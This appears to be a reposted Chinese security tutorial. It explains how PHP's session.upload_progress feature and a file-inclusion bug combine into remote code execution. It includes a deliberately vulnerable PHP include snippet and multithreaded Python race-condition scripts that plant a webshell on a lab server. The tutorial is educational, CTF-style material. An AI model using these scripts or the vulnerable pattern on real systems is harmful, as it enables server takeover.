第一句子大全,网罗天下好句子,好文章尽在本站!

详解如何利用session.upload_progress文件包含进行RCE

时间:2010-09-21

其中最重要的几个设置如下:session uploadprogress enabled = onsession uploadprogress cleanup = onsession uploadprogress prefix = uploadpro

友情提示:本文共有 3223 个字,阅读大概需要 7 分钟。

什么是session.upload_progress?

open_basedirallow_url_fopenallow_url_include等PHP配置一样,session.upload_progress也是PHP的一个功能,同样可以在php.ini中设置相关属性。其中最重要的几个设置如下:

session.upload_progress.enabled = on

session.upload_progress.cleanup = on

session.upload_progress.prefix = "upload_progress_"

session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

session.upload_progress.enabled可以控制是否开启session.upload_progress功能

session.upload_progress.cleanup可以控制是否在上传之后删除文件内容

session.upload_progress.prefix可以设置上传文件内容的前缀

session.upload_progress.name的值即为session中的键值

session.upload_progress开启之后会有什么效果?

当我们将session.upload_progress.enabled的值设置为on时,此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中。

问题1:

那么这个时候就会有一个前提条件,就是如何初始化session并且把session中的内容写到文件中去呢?

分析1:

我们可以注意到,php.ini中session.use_strict_mode选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=Lxxx时,PHP就会生成一个文件/tmp/sess_Lxxx,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_Lxxx中去,具体文件的内容是什么,后面会写到。

问题2:

当session.upload_progress.cleanup的值为on时,即使上传文件,但是上传完成之后文件内容会被清空,这怎么办?

分析2:

利用Python的多线程,进行条件竞争

如何利用session.upload_progress进行RCE?

然而,理论再多也没用,还是得一步步调试,看看在文件上传的时候,整一个PHP服务端到底发生了什么。所以还是需要做实验。

首先,在网站根目录下随便新建一个test.php文件

然后写一个Python程序用于往服务器上上传文件:

这里有几个注意点:

上传的文件大小为50KB,文件名为Lxxx.jpg

该程序设置的sessionid为Lxxx,也就是说会在/tmp目录下生成sess_Lxxx文件

该程序设置的PHP_SESSION_UPLOAD_PROGRESS值为一句话木马,也就是说,在理论上,一句话木马会被写入到/tmp/sess_Lxxx

import requests

import io

url = "http://192.168.2.128/test.php"

sessid = "Lxxx"

def write(session):

filebytes = io.BytesIO(b"a" * 1024 * 50)

while True:

res = session.post(url,

data={

"PHP_SESSION_UPLOAD_PROGRESS": ""

},

cookies={

"PHPSESSID": sessid

},

files={

"file": ("Lxxx.jpg", filebytes)

}

)

if __name__ == "__main__":

with requests.session() as session:

write(session)

执行程序后,我们需要用tail -f命令实时查看/tmp/sess_Lxxx文件,因为在本地测试速度比较快,如果使用cat命令,文件内容还没输出就被删除了。

tail -f /tmp/sess_Lxxx

结果如下:

也就是说,/tmp/sess_Lxxx文件中的内容为:

upload_progress_|a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1631343214;s:15:"bytes_processed";i:276;}}}

仔细分析一下该文件内容,该文件分为两块,以竖线|区分。

第一块内容如下:

upload_progress_

这一块内容由以下两个值组成:session.upload_progress.name+PHP_SESSION_UPLOAD_PROGRESS

第二块内容如下:

a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1631343214;s:15:"bytes_processed";i:276;}}}

一看就是序列化之后的值,我们将其进行反序列化后输出:

array(5) {

["start_time"]=>

int(1631343214)

["content_length"]=>

int(276)

["bytes_processed"]=>

int(276)

["done"]=>

bool(false)

["files"]=>

array(1) {

[0]=>

array(7) {

["field_name"]=>

string(4) "file"

["name"]=>

string(8) "Lxxx.jpg"

["tmp_name"]=>

NULL

["error"]=>

int(0)

["done"]=>

bool(false)

["start_time"]=>

int(1631343214)

["bytes_processed"]=>

int(276)

}

}

}

可以看到这里记录了文件上传时间、文件大小、文件名称等等文件属性。

接下来在网站根目录新建一个test.php文件,文件内容如下:

$a = $_GET["a"];

include($a);

很明显有一个文件包含的漏洞。

接下来我们利用session.upload_progress进行条件竞争

以下代码有几个注意点:

首先,函数write和上面的是一样的,这里就不做过多的赘述了

整个代码的思路就是,往/tmp/sess_Lxxx文件中写入一句话木马,密码为1,然后用题目中的文件包含漏洞,包含这一个文件,在函数read中尝试利用/tmp/sess_Lxxx的一句话往网站根目录文件1.php写一句话木马,密码为2

利用Python的多线程,一边上传文件,一边尝试往根目录中写入1.php,如果成功写入了,就打印输出“成功写入一句话”

这里利用Python的threading模块,开5个线程进行条件竞争

代码如下:

import requests

import io

import threading

url = "http://192.168.2.128/test.php"

sessid = "Lxxx"

def write(session):

filebytes = io.BytesIO(b"a" * 1024 * 50)

while True:

res = session.post(url,

data={

"PHP_SESSION_UPLOAD_PROGRESS": ""

},

cookies={

"PHPSESSID": sessid

},

files={

"file": ("Lxxx.jpg", filebytes)

}

)

def read(session):

while True:

res = session.post(url+"?a=/tmp/sess_"+sessid,

data={

"1":"file_put_contents("/www/admin/localhost_80/wwwroot/1.php" , "");"

},

cookies={

"PHPSESSID":sessid

}

)

res2 = session.get("http://192.168.2.128/1.php")

if res2.status_code == 200:

print("成功写入一句话!")

else:

print("Retry")

if __name__ == "__main__":

evnet = threading.Event()

with requests.session() as session:

for i in range(5):

threading.Thread(target=write, args=(session,)).start()

for i in range(5):

threading.Thread(target=read, args=(session,)).start()

evnet.set()

代码执行结果如下:

一开始会一直显示Retry,但是只要运行一段时间就会成功写入一句话。

可以在网站根目录看到,成功写入一句话。

参考资料

Nu1L战队的书籍《从0到1 CTFer成长之路》 P140-141

利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户

点击链接进行实验:php竞争条件漏洞

https://www.hetianlab.com/expc.do?ec=ECID39ee-9db2-47bc-9fa1-29150748681b&pk_campaign=baijia-wemedia

本文如果对你有帮助,请点赞收藏《详解如何利用session.upload_progress文件包含进行RCE》,同时在此感谢原作者。

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。
相关阅读
图文详解SQL中的事务/隔离级别/阻塞/死锁 看不懂找我!

图文详解SQL中的事务/隔离级别/阻塞/死锁 看不懂找我!

...,所以会话被阻塞,进入等待状态--Connection3SELECT request_session_id AS 会话id , resource_type AS 请求锁定的资源类型 , resource_description AS 描述 , request_mode AS 模式 , request_status AS 状态FROM sys.dm_tran_locksConnection3查询...

2011-11-25 #经典句子

分享一波mysql常用语句与命令

分享一波mysql常用语句与命令

...语句。示例如下:$grep "update" ./sql.log | head....5u.vD....update session_table set expire=’2014-12-12 20:01:23’ where sess_id = ‘demostring123’ limit 1既然我们现在已经有了所有执行的sql语句,我们就可以很容易的通过使用grep, wc 等命令分析出是那...

2023-07-17 #经典句子

专利申请回执:受理时间和流程详解

专利申请回执:受理时间和流程详解

...受理流程如下:1、提供交底书,委托代理机构撰写申请文件,一般要20天到一个月时间2、递交申请文件,取得专利局的受理通知书,确定申请日,递交文件当日也可以递交提前公开声明,及请求实质审查,这样可以加快审查进...

2024-01-25 #大杂绘

Linux浏览文件命令:cat less more详解!

Linux浏览文件命令:cat less more详解!

今天我们来详细讲解下,Linux浏览文件的三种命令,它们分别是:cat、less、more!cat命令: 一次性在终端中显示文件的所有内容cat Facebook首席运营官桑德伯格《Lean In》.txtcat命令显示出多少行呢?参数:n 由 1 开始对所有输出的行...

2017-03-07 #经典句子

疫情下 关于dongligo english test多邻国英语测试

疫情下 关于dongligo english test多邻国英语测试

...考试中四种题型的题目交替出现,最后还有一个Interview Session。四种题型分别是:① 选出英语单词② 朗读句子③ 听写句子④ 完形填空面试部分的考试模式,类似托福T1、2题。有一道sample题,五道左右的考试题。每道题有30秒的...

2023-06-19 #经典句子

【手把手教学】日语CATTI翻译考试报考流程详解

【手把手教学】日语CATTI翻译考试报考流程详解

...操作方法:下载官方的照片处理工具后,点击“打开照片文件”打开自己需要上传的照片,照片下方显示审核通过后,点击“保存照片文件”保存生成的照片,然后点击“退出操作”,再将生成的照片上传就可以了。步骤如下:...

2020-11-24 #经典句子

2021英语高考作文抢分超详解

2021英语高考作文抢分超详解

目录:/英语作文技巧大招超详解 [2.5G]新建文件夹 [3.1M]1-1造句三步法及造句训练—课堂讲义.pdf [1.4M]1-2遣词造句升级技巧上—课堂笔记.pdf [401.2K]1-3遣词造句升级技巧下-补充作文.pdf [584.9K]1-4高考英语作文**套话.pdf [692.4K]遣词造句...

2023-01-29 #经典句子

泰文(Thai)显示排版规则图文详解

泰文(Thai)显示排版规则图文详解

...ce Width 也皆为 0。对上方参数有任何疑惑,请参阅 BDF字体文件格式详解五、模拟显示对比参考文献: 1. unicode 12.1.CodeCharts.pdf2. 5005.BDF_Spec.pdf若是喜欢,请关注我吧!!!

2009-01-13 #经典句子